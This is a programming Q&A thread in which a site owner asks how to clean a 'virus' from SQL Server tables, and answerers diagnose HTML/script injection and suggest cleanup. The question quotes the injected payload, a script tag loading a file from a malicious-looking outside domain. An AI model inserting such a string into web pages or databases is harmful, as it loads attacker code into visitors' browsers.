Click here to Skip to main content
11,417,219 members (59,385 online)
Rate this: bad
good
Please Sign up or sign in to vote.
Sir,

I have created one website and host in server, the website is work very well, I Create tables in MS SQL SERVER 2000. In tables all rows and columns data are affected by virus. so how can i remove the virus from table OR how to avoid virus affected in table. Please help me to remove the virus it's very urgent.

Virus data is : "></title><script src="http://ngr61ail.rr.nu/sl.ph
Posted 5-Oct-12 21:58pm
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 3

This is called HTML Injection (or Script injection) and the best thing to do is to ensure it doesn't happen at source. Start with Wiki: it will tell you about the subject, including ways to avoid it: http://en.wikipedia.org/wiki/Code_injection[^]

You will have to clean your data yourself by looking at every text field in your database, I'm afraid!
  Permalink  
Comments
AshishChaudha at 6-Oct-12 3:17am
   
nice
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 1

A table cannot directly host a virus.
It looks like your server has been infected by a virus - this has in turn corrupted the server.

Try running a virus scanner on your server.

As far as the data is concerned, hope you have a database backup.
  Permalink  
Comments
prabaran at 6-Oct-12 3:07am
   
Thanks abhinav, But i've one doubt this virus should be from our coding side mistake or server side mistake, i didn't understand how the sql tables are affected by virus.
OriginalGriff at 6-Oct-12 3:10am
   
Not so - this is called HTML injection and in it's most primitive form consists of adding html to your user name which executes whenever anyone else sees your name on the site. Have a look at the wiki entry I sent the OP to!
Abhinav S at 6-Oct-12 5:17am
   
Fair point.
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 2

please apply on dummy database or keep backup

1. you can export tables in xls and replace that string with ''
and then re-import data from xls sheet

2. use sql function to repair data, take visit of this artical,
http://www.mssqltips.com/sqlservertip/1555/sql-server-find-and-replace-values-in-all-tables-and-all-text-columns/[^]

Happy Coding!
Smile | :)
  Permalink  

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

  Print Answers RSS
0 Sascha Lefévre 340
1 Abhinav S 248
2 Sergey Alexandrovich Kryukov 245
3 OriginalGriff 235
4 Richard Deeming 160
0 Sergey Alexandrovich Kryukov 9,295
1 OriginalGriff 7,592
2 Maciej Los 3,718
3 Abhinav S 3,456
4 Peter Leow 3,084


Advertise | Privacy | Mobile
Web04 | 2.8.150427.4 | Last Updated 6 Oct 2012
Copyright © CodeProject, 1999-2015
All Rights Reserved. Terms of Service
Layout: fixed | fluid

CodeProject, 503-250 Ferrand Drive Toronto Ontario, M3C 3G8 Canada +1 416-849-8900 x 100